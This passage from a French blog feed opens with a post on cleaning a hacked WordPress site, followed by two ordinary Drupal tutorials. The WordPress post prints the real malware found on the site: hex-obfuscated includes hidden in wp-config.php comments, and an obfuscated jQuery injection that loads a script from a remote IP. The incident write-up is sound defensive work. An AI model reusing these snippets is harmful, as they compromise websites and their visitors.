06:57:31 | +-----------------------------+---------------------+ 5 rows in set (0.00 sec) </pre><p>Include dans le fichier wp-config.php</p> <p>Autre fichier infecté, de manière plus subtile : wp-config.php, dans lequel on trouve un <strong>include</strong> entre deux commentaires :</p> <pre>/** * Langue de localisation de WordPress, pa*/include /*r défaut en Anglais. * * Modifiez cette valeur pour lo*/"\x2fvar\x2fwww\x2fwor\x64pre\x73s/p\x72od/\x64own\x75psy\x6ed/w\x70-in\x63lud\x65s/f\x6fnts\x2fpa g\x65.ph\x70";/*caliser Word*/include /*Press. Un fichier MO correspondant * au langage choisi doit être installé dans le dossier wp-content*/"\x2fvar\x2fwww\x2fwor\x64pre\x73s/p\x72od/\x64own\x75psy\x6ed/w \x70-ad\x6din/\x73tar\x74.ph\x70";/*/languages. * Par exemple, pour mettre en place une traduction française, mettez le fichier * fr_FR.mo dans wp-content/languages, et réglez l'option ci-dessous à "fr_FR". */ </pre><p>Si on décode cela donne :</p> <pre>include /var/www/wordpress/prod/downupsynd/wp-includes/fonts/page.php; include /var/www/wordpress/prod/downupsynd/wp-admin/start.php;</pre><p>Effectivement, les deux fichiers sont infectés, et datent de décembre 2015... Ils seront supprimés.</p> <h2>Autre cause, sur la base de fichiers jquey*js</h2> <p>Malheureusement, ceci n'a pas suffi, puisqu'en testant le lendemain je retombe sur les mêmes symptômes, alors que les répertoires sont en lecture seule pour l'utilisateur <em>www-data</em>. En inspectant les cookies dans le navigateur, je n'en voie qu'un seul : <strong>csrf_uid</strong>.</p> <p>Par contre une recherche avec <em>grep -lr csrf_uid * </em>ne donne rien...</p> <p>J'ai trouvé la recherche sur le web : en recherchant sur le nom du cookie, j'arrive sur plusieurs sites qui me renvoient vers des chaînes de caractères encodées, puis je tombe sur cet article : <a href="https://www.linkedin.com/pulse/caution-wordpress-virus-spreading-attacking-jqueryjs-palem">Virus Wordpress qui attaque jQuery.js</a></p> <p>Et là, je découvre plus de 1300 fichiers infectés, car d'après l'article une fois que le fichier php malveillant a été téléchargé via une faille Wordpress, il remonte toute l'arborescence du système de fichier, pour infecter les fichiers jquery.*.js, et ajouter les lignes :</p> <pre>var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])) </pre><p>Pour traiter le problème, j'ai fait un bout de script shell :</p> <pre>#!/bin/bash # echo "Recherche des fichiers avec setCookie" grep -lr setCookie * echo CURDIR=$(pwd | sed 's|/|_|g') # ----------------------------------------------- echo Recherche des fichiers avec infections jquery.js grep -rl 'var _0xaae8' * echo echo -n "Traiter les fichiers ? " read REP if [ "$REP" == "o" ] ; then BADFILE=$(grep -lR 'var _0xaae8' *) echo echo "Suppression de la ligne infectée" echo for fic in $BADFILE ; do echo === Traitement de $fic === # ajouter un saut de ligne avant sed -i 's/var _0xaae/\nvar _0xaae/g' $fic # Supprime la ligne echo sed -i.bak '/var _0xaae8/d' $fic sed -i.bak '/var _0xaae/d' $fic SLUG=${CURDIR}_$(echo ${fic}.bak | sed 's|/|_|g') mv $fic.bak /var/trash/${SLUG} done fi echo </pre><p>Il faut donc se positionner dans les répertoires, puis lancer le script (penser à créer le répertoire /var/trash si on veut garder la trace des fichiers infectés).</p> <p>Une fois que ceci est fait, je recommande fortement de désactiver le xmlrpc (on peut renommer le fichier) ou mettre en place une directive Apache, dans chaque VirtualHost (ce qui élimine les risques en cas de mise à jour wordpress).</p> <pre class="code-pre "><code> <span class="highlight">&lt;files xmlrpc.php&gt;</span> <span class="highlight">order allow,deny</span> <span class="highlight">deny from all</span> <span class="highlight">&lt;/files&gt;</span></code></pre><p>Et comme expliqué ci-dessous, sécuriser l'accès aux répertoires.</p> <p>Bref, ceci aura bien occupé mon week-end !</p> <h2>Quelques conseils de sécurisation pour les répertoires</h2> <p>Extraits du code Wordpress : <a href="https://codex.wordpress.org/Hardening_WordPress">https://codex.wordpress.org/Hardening_WordPress</a></p> <p>Il est recommandé d'utiliser un compte séparé de celui utilisé par le serveur http, et de positionner les droits comme ceci :</p> <ul><li>/ : le répertoire racine doit être en rw par notre compte, et lisible par le serveur http</li> <li>/wp-admin : répertoire d'administration, en écriture par notre compte uniquement</li> <li>/wp-includes : contient un ensemble de fichiers, en écriture seulement par notre compte</li> <li>/wp-content : fichiers en lecture et écriture par notre compte et le serveur http.</li> </ul><p>On peut sécuriser encore un peu plus, en limitnt les accès en lecture sur les répertoires wp-content/themes et wp-content/plugins.</p> <p>Un script shell fait tout cela :</p> <pre>#!/bin/bash # Set correct file permissions for Wordpress # Run at wordpress root echo -n "Owner : " read php_username if [ "$php_username" = "" ] ; then echo "Good bye ..." exit fi echo -n "Group : " read group_name if [ "$group_name" = "" ] ; then echo "Good bye ..." exit fi #Forbid apache from writing to your Wordpress application files chown -R ${php_username}:${group_name} . find . -type d -exec chmod 750 '{}' \; find . -type f -exec chmod 640 '{}' \; cd wp-content find . -type d -exec chmod 770 '{}' \; find . -type f -exec chmod 660 '{}' \; chmod 750 themes chmod 750 plugins </pre><p>et ne pas oublier de mettre régulièrement à jour Wordpress et ses extensions...</p> <h2>Sécurisation du répertoire wp-includes</h2> <p>On peut également ajouter quelques directives au fichier .htaccess, afin d'empêcher l'accès direct aux fichiers php contenus dans wp-includes :</p> <pre># Block the include-only files. &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteRule ^wp-admin/includes/ - [F,L] RewriteRule !^wp-includes/ - [S=3] RewriteRule ^wp-includes/[^/]+\.php$ - [F,L] RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L] RewriteRule ^wp-includes/theme-compat/ - [F,L] &lt;/IfModule&gt; </pre><p> </p> </div> <span rel="sioc:has_creator" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span property="dc:date dc:created" content="2016-12-02T20:34:41+00:00" datatype="xsd:dateTime" class="field field--name-created field--type-created field--label-hidden">ven 02/12/2016 - 21:34</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/tags/wordpress" hreflang="fr">wordpress</a></div> <div class="field__item"><a href="/tags/securit%C3%A9" hreflang="fr">securité</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> Fri, 02 Dec 2016 20:34:41 +0000 vincentl 169 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/hack-sites-wordpress-avec-jqueryminphp-jqueryjs#comments Créer une vue Drupal sur un type de contenu, pour tous les auteurs ou moi seulement https://www.vincentliefooghe.net/content/cr%C3%A9er-une-vue-drupal-sur-un-type-contenu-pour-tous-les-auteurs-ou-moi-seulement <span property="dc:title" class="field field--name-title field--type-string field--label-hidden">Créer une vue Drupal sur un type de contenu, pour tous les auteurs ou moi seulement</span> <div property="content:encoded" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>J'ai eu récemment un besoin qui semble assez simple à première vue : pour un type de contenu spécifique, je voulais ajouter dans Views un filtre exposé me permettant de sélectionner tous les contenus ou seulement ceux dont j'étais l'auteur.<br /><br />A priori, il suffit de créer une relation de type "Contenu: Auteur", et l'utiliser dans un filtre exposé sur l'utilisateur Actuel.<br /><br />Sauf que... ceci me donne 2 options : les contenus de l'utilisateur actuel (les miens) ou les autres (pas les miens).<br /><br />J'ai cherché pas mal de manière de faire, jusqu'à tomber sur une discussion qui parlait du module "Composite Views Filter", qui m'a finalement permis de faire ce que je voulais.</p> <h2>Création de la vue avec la relation Contenu : Auteur</h2> <p>Pour cela on crée une vue (Structure / Vue / Ajouter).</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_072.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_072.png&quot;}" role="button" title="Tutos_072.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_072.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_072.png?itok=8Xw-uzm6" width="480" height="269" alt="Tutos_072.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On lui donne un nom, et on va afficher les contenus de type "Signalement", puis on clique sur Continue &amp; Edit. On ajoute les champs qui nous intéressent : pour la démo, ce sera le titre du contenu, l'UID de l'auteur et la date.</p> <p>Puis on va ajouter une relation. Pour cela déplier "Avancé", et choisir Ajouter sur les <strong>Relations</strong>.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_073.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_073.png&quot;}" role="button" title="Tutos_073.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_073.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_073.png?itok=FSUWU9Va" width="443" height="222" alt="Tutos_073.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On choisit alors la relation Contenu / Auteur : c'est celle qui nous intéresse.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_074.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_074.png&quot;}" role="button" title="Tutos_074.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_074.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_074.png?itok=Y1f1ADYQ" width="480" height="342" alt="Tutos_074.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On modifie l'identiiant (par défaut c'est "author", je vais mettre Auteur). Puis on confirme en cliquant sur "Appliquer (tous les affichages).</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_075.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_075.png&quot;}" role="button" title="Tutos_075.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_075.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_075.png?itok=uRtKjYw1" width="480" height="216" alt="Tutos_075.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>A ce stade, la preview donne le tableau avec tous les auteurs :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_077.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_077.png&quot;}" role="button" title="Tutos_077.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_077.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_077.png?itok=NJ5lidj9" width="480" height="135" alt="Tutos_077.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <h2>Première tentative avec un filtre exposé sur l'auteur</h2> <p>On ajoute un filtre exposé (FILTER CRITERIA / Ajouter). On va sélectionner "Utilisateur : Actuel" :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_078.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_078.png&quot;}" role="button" title="Tutos_078.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_078.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_078.png?itok=qF1W_owA" width="480" height="246" alt="Tutos_078.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Dans l'écran suivant, on choisit la relation que l'on a défini auparavant. On définit le filtre comme exposé, afin de laisser l'utilisateur choisir sa valeur.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_079.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_079.png&quot;}" role="button" title="Tutos_079.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_079.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_079.png?itok=71g1AORK" width="480" height="326" alt="Tutos_079.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Remarque : j'utilise Better Exposed Filter, qui ajoute une valeur "-Tous-", mais qui ne peut pas être sélectionnée par défaut.</p> <p>Au final, les options sont réduites à Oui et Non :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_080.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_080.png&quot;}" role="button" title="Tutos_080.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_080.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_080.png?itok=7ddYelPL" width="480" height="180" alt="Tutos_080.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Pas possible donc dans ce cas d'avoir mes contenus (correspondant à UID = 1) ou tous. Lorsqu'on sélectionne l'option Non, on a les autres contenus, mais pas le sien...</p> <p>J'ai donc commencé à regarder du côté du développement Views, avant d'avoir vent du module <a href="https://www.drupal.org/project/composite_views_filter">Composite Views Filter</a>.</p> <h2>Deuxième essai avec le module Composite Views Filter</h2> <p>Ce module nécessite d'être téléchargé et activé. Comme d'habitude, je fais cela avec Drush :</p> <pre>drush dl composite_views_filter drush en -y composite_views_filter</pre><p>Ensuite, il faut ajouter un filtre exposé de type "Global : Composite Filter".</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_081.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_081.png&quot;}" role="button" title="Tutos_081.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_081.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_081.png?itok=JLu6jKO6" width="480" height="225" alt="Tutos_081.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On va ensuite donner les propriétés de ce filtre : une étiquette, et une description (optionnelle).  Ensuite, dans Groups, une liste de champs de type clé|valeur, qui seront utilisés par la suite.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_082.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_082.png&quot;}" role="button" title="Tutos_082.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_082.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_082.png?itok=RBAwWT51" width="480" height="274" alt="Tutos_082.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Pour terminer, on donne un libellé pour "Tous". Dans l'option "Plus", il faut aussi donner un ID au filtre.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_084.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_084.png&quot;}" role="button" title="Tutos_084.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_084.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_084.png?itok=mwIWvA9i" width="480" height="251" alt="Tutos_084.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>A ce stade, on a un nouveau filtre exposé, mais qui n'est pas actif. Il reste une étape : créer un filtre qui utilise ce filtre global. Pour cela, on ajoute un nouveau filtre, sur l'utilisateur Actuel :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_085.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_085.png&quot;}" role="button" title="Tutos_085.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_085.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_085.png?itok=BoZQ2ACn" width="480" height="286" alt="Tutos_085.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On valide via le bouton "Appliquer (tous les affichages)". C'est à ce niveau que le groupe défini auparavant peut être utilisé. On sélectionne la valeur correspondant au libellé saisi.</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_087.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_087.png&quot;}" role="button" title="Tutos_087.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_087.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_087.png?itok=r5ThZX0I" width="480" height="374" alt="Tutos_087.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Le filtre exposé est alors actif. Si on sélectionne l'option "Mes contenus uniquement", on a bien les contenus de l'UID = 1 :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_088.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_088.png&quot;}" role="button" title="Tutos_088.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_088.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_088.png?itok=2czHj5Qu" width="480" height="210" alt="Tutos_088.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>Si on sélectionne "Tous les utilisateurs" on a la totalité des UID :</p> <p><article class="media media--type-image media--view-mode-default" data-align="center"><div class="field field--name-field-media-image field--type-image field--label-visually_hidden"> <div class="field__label visually-hidden">Image</div> <div class="field__item"> <a href="https://www.vincentliefooghe.net/sites/default/files/Tutos_089.png" aria-controls="colorbox" aria-label="{&quot;alt&quot;:&quot;Tutos_089.png&quot;}" role="button" title="Tutos_089.png" data-colorbox-gallery="gallery-all-ymcFTdoVGL8" class="colorbox" data-cbox-img-attrs="{&quot;alt&quot;:&quot;Tutos_089.png&quot;}"><img src="/sites/default/files/styles/large/public/Tutos_089.png?itok=QyY8l5Pn" width="480" height="160" alt="Tutos_089.png" loading="lazy" typeof="foaf:Image" class="image-style-large" /></a> </div> </div> </article></p> <p>On sauvegarde la vue, et le tour est joué.</p> <p> </p> </div> <span rel="sioc:has_creator" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span property="dc:date dc:created" content="2016-07-28T15:28:39+00:00" datatype="xsd:dateTime" class="field field--name-created field--type-created field--label-hidden">jeu 28/07/2016 - 17:28</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div class="field__label">Tag</div> <div class="field__items"> <div class="field__item"><a href="/taxonomy/term/1" hreflang="fr">Drupal</a></div> <div class="field__item"><a href="/tags/views" hreflang="fr">Views</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> Thu, 28 Jul 2016 15:28:39 +0000 vincentl 161 at https://www.vincentliefooghe.net https://www.vincentliefooghe.net/content/cr%C3%A9er-une-vue-drupal-sur-un-type-contenu-pour-tous-les-auteurs-ou-moi-seulement#comments Importer et tenir à jour les traductions Drupal avec Drush https://www.vincentliefooghe.net/content/importer-et-tenir-%C3%A0-jour-les-traductions-drupal-avec-drush <span property="dc:title" class="field field--name-title field--type-string field--label-hidden">Importer et tenir à jour les traductions Drupal avec Drush</span> <div property="content:encoded" class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>Lorsqu'on utilise Drupal, <a href="http://www.drush.org/en/master/"><strong>drush</strong></a> est un outil qui permet de gagner beaucoup de temps.</p> <p>Par exemple, pour mettre à jour les traductions des différents modules d'un site, on peut passer par l'interface, mais ceci suppose d'aller télécharger chaque fichier de traduction.</p> <p>Avec <strong>drush</strong>, quelques lignes de commandes suffisent :</p> <pre># Telechargement du module drush_language (c'est une fonctionnalité additionnelle de drush) drush dl drush_language # Téléchargement du module Drupal l10n_update drush dl l10n_update # Activation de ce module drush en -y l10n_update # Ajout du langage "fr" pour le Français drush language-add fr # Activation de la langue fr drush language-enable fr # On nettoie le cache drush cache-clear drush # On fait une vérification des traductions drush l10n-update-refresh # On lance la mise à jour des traductions drush l10n-update</pre><p>La dernière commande va télécharger les fichiers de traduction, et les importer dans la foulée.</p> <p>Exemple sur un site réel :</p> <pre>drush l10n-update Fetching update information for all projects / all languages. [status] Found 19 projects to update. [status] Mise à jour des traductions [status] [status] Traduction de better_exposed_filters vérifiée. [ok] Traduction de colorbox vérifiée. [ok] Traduction de colorbox_node vérifiée. [ok] Traduction de ctools vérifiée. [ok] Traduction de date vérifiée. [ok] Traduction de drupal vérifiée. [ok] Traduction de email vérifiée. [ok] Traduction de entity vérifiée. [ok] Traduction de entityreference vérifiée. [ok] Traduction de eu_cookie_compliance vérifiée. [ok] Traduction de field_formatter_settings vérifiée. [ok] Traduction de field_group vérifiée. [ok] Traduction de field_permissions vérifiée. [ok] Traduction de geocoder vérifiée. [ok] Traduction de geofield vérifiée. [ok] Traduction de geofield_gmap vérifiée. [ok] Traduction de geophp vérifiée. [ok] Traduction de hybridauth vérifiée. [ok] Traduction de ip_geoloc vérifiée. [ok] Traduction de l10n_update vérifiée. [ok] Traduction de leaflet vérifiée. [ok] Traduction de leaflet_markercluster vérifiée. [ok] Traduction de leaflet_more_maps vérifiée. [ok] Traduction de libraries vérifiée. [ok] Traduction de media vérifiée. [ok] Traduction de memcache_storage vérifiée. [ok] Traduction de pathauto vérifiée. [ok] Traduction de role_delegation vérifiée. [ok] Traduction de select_or_other vérifiée. [ok] Traduction de services vérifiée. [ok] Traduction de token vérifiée. [ok] Traduction de views vérifiée. [ok] Traduction de views_data_export vérifiée. [ok] Traduction de wysiwyg vérifiée. [ok] Traduction du module colorbox_node téléchargée. [ok] Traduction de colorbox_node importée. [ok] Traduction du module ctools téléchargée. [ok] Importation de la traduction de ctools. (6%). [ok] Importation de la traduction de ctools. (16%). [ok] Importation de la traduction de ctools. (35%). [ok] Importation de la traduction de ctools. (54%). [ok] Importation de la traduction de ctools. (75%). [ok] Importation de la traduction de ctools. (88%). [ok] Traduction de ctools importée. [ok] Traduction du module date téléchargée. [ok] Importation de la traduction de date. (28%). [ok] Importation de la traduction de date. (72%). [ok] Traduction de date importée. [ok] Traduction du module drupal téléchargée. [ok] Importation de la traduction de drupal. (1%). [ok] Importation de la traduction de drupal. (2%). [ok] Importation de la traduction de drupal. (3%). [ok] Importation de la traduction de drupal. (5%). [ok] Importation de la traduction de drupal. (7%). [ok] Importation de la traduction de drupal. (9%). [ok] Importation de la traduction de drupal. (12%). [ok] Importation de la traduction de drupal. (15%). [ok] Importation de la traduction de drupal. (18%). [ok] Importation de la traduction de drupal. (20%). [ok] Importation de la traduction de drupal. (25%). [ok] Importation de la traduction de drupal. (30%). [ok] Importation de la traduction de drupal. (33%). [ok] Importation de la traduction de drupal. (39%). [ok] Importation de la traduction de drupal. (46%). [ok] Importation de la traduction de drupal. (52%). [ok] Importation de la traduction de drupal. (59%). [ok] Importation de la traduction de drupal. (66%). [ok] Importation de la traduction de drupal. (73%). [ok] Importation de la traduction de drupal. (79%). [ok] Importation de la traduction de drupal. (86%). [ok] Importation de la traduction de drupal. (92%). [ok] Importation de la traduction de drupal. (95%). [ok] Traduction de drupal importée. [ok] Traduction du module entity téléchargée. [ok] Importation de la traduction de entity. (58%). [ok] Traduction de entity importée. [ok] Traduction du module entityreference téléchargée. [ok] Traduction de entityreference importée. [ok] Traduction du module eu_cookie_compliance téléchargée. [ok] Traduction de eu_cookie_compliance importée. [ok] Traduction du module field_formatter_settings téléchargée. [ok] Traduction de field_formatter_settings importée. [ok] Traduction du module field_group téléchargée. [ok] Traduction de field_group importée. [ok] Traduction du module field_permissions téléchargée. [ok] Traduction de field_permissions importée. [ok] Traduction du module geofield téléchargée. [ok] Traduction de geofield importée. [ok] Traduction du module ip_geoloc téléchargée. [ok] Traduction de ip_geoloc importée. [ok] Traduction du module l10n_update téléchargée. [ok] Traduction de l10n_update importée. [ok] Traduction du module leaflet téléchargée. [ok] Traduction de leaflet importée. [ok] Traduction du module media téléchargée. [ok] WD l10n_update: Import of string "Ce processus est requis lors de l'installation de media sur un [error] site existant. Media nécessite de scanner les fichiers existants et d'identifier le type de fichier. Mettre à jour les types de fichier pour les fichiers @file ?&gt;" was skipped because of disallowed or malformed HTML. Importation de la traduction de media. (95%). [ok] Traduction de media importée. [ok] Traduction du module memcache_storage téléchargée. [ok] Traduction de memcache_storage importée. [ok] Traduction du module select_or_other téléchargée. [ok] Traduction de select_or_other importée. [ok] Traduction du module views téléchargée. [ok] Importation de la traduction de views. (3%). [ok] Importation de la traduction de views. (7%). [ok] Importation de la traduction de views. (16%). [ok] Importation de la traduction de views. (25%). [ok] Importation de la traduction de views. (39%). [ok] Importation de la traduction de views. (50%). [ok] Importation de la traduction de views. (64%). [ok] Importation de la traduction de views. (76%). [ok] Importation de la traduction de views. (90%). [ok] Traduction de views importée. [ok] Traduction du module views_data_export téléchargée. [ok] Traduction de views_data_export importée. [ok] WD l10n_update: 1 disallowed HTML string(s) in files: translations://media-7.x-1.4.fr_0.po. [warning] 19 translation files imported. 1732 translations were added, 0 translations were updated and 0 [status] translations were removed. One translation string was skipped because of disallowed or malformed HTML. See the log for [warning] details. </pre><p>La commande <strong>drush</strong> a pris quelques minutes à peine, pour importer 19 fichiers...</p> <p>Quand je vous dis que c'est un outil magique !</p> <p> </p> </div> <span rel="sioc:has_creator" class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/vincentl" typeof="schema:Person" property="schema:name" datatype="">vincentl</span></span> <span property="dc:date dc:created" content="2016-07-27T13:57:50+00:00" datatype="xsd:dateTime" class="field field--name-created field--type-created field--label-hidden">mer 27/07/2016 - 15:57</span> <div class="field field--name-field-categorie field--type-entity-reference field--label-above"> <div class="field__label">Catégorie</div> <div class="field__item"><a href="/cat%C3%A9gorie/cms" hreflang="fr">CMS</a></div> </div> <div class="field field--name-field-tags field--type-entity-reference field--label-above"> <div 